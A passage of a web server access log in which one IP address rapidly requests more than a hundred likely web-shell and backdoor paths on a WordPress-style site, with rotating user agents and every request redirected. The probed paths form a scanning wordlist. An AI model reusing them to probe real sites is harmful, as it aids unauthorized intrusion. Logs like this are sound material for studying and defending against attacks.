"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:49:21 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:21 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:21 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:22 -0400] "GET /dr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:22 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:23 -0400] "GET /wp-admin/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:23 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:23 -0400] "GET /ay.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:23 -0400] "GET /wordpress/wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:23 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.36.48.76 - - [26/Apr/2025:04:49:24 -0400] "GET /wp-content/plugins/ioptimization/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.36.48.76 - - [26/Apr/2025:04:49:24 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:24 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:24 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:24 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.36.48.76 - - [26/Apr/2025:04:49:24 -0400] "GET /yy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:25 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:25 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:25 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:25 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:25 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:25 -0400] "GET /wp-includes/css/dist/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:25 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:25 -0400] "GET /aq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:25 -0400] "GET /yu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:49:26 -0400] "GET /gt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:26 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.36.48.76 - - [26/Apr/2025:04:49:26 -0400] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:26 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:26 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:26 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.36.48.76 - - [26/Apr/2025:04:49:26 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:27 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:27 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:27 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.36.48.76 - - [26/Apr/2025:04:49:27 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:27 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:27 -0400] "GET /er.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:27 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:27 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:27 -0400] "GET /ssa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:27 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:27 -0400] "GET /hardenX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:27 -0400] "GET /.qiofetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:27 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.36.48.76 - - [26/Apr/2025:04:49:28 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:28 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:28 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:28 -0400] "GET /images/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:49:28 -0400] "GET /new2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:28 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:28 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:28 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:28 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:28 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:29 -0400] "GET /ki.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.36.48.76 - - [26/Apr/2025:04:49:29 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:29 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:29 -0400] "GET /about/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:30 -0400] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:30 -0400] "GET /wp-content/plugins/cp-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:30 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:30 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:30 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:31 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:31 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:31 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:31 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:31 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:31 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:31 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:31 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.36.48.76 - - [26/Apr/2025:04:49:31 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:31 -0400] "GET /wordpress/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:32 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:32 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:32 -0400] "GET /wordpress/wp-includes/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:32 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:49:32 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:32 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:32 -0400] "GET /bgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:32 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:32 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:32 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:33 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:33 -0400] "GET /test.php/wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:33 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:49:33 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:49:33 -0400] "GET /wp-content/themes/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:34 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:34 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:34 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:34 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:34 -0400] "GET /la.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:49:34 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.36.48.76 - - [26/Apr/2025:04:49:34 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:34 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:34 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.36.48.76 - - [26/Apr/2025:04:49:34 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:34 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.36.48.76 - - [26/Apr/2025:04:49:35 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:35 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:35 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:35 -0400] "GET /indeks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.36.48.76 - - [26/Apr/2025:04:49:35 -0400] "GET /wp-content/plugins/seoo/xynz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:49:35 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:35 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:35 -0400] "GET /wp-admin/js/widgets/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:35 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:49:35 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:35 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:35 -0400] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.36.48.76 - - [26/Apr/2025:04:49:36 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:36 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:49:36 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" 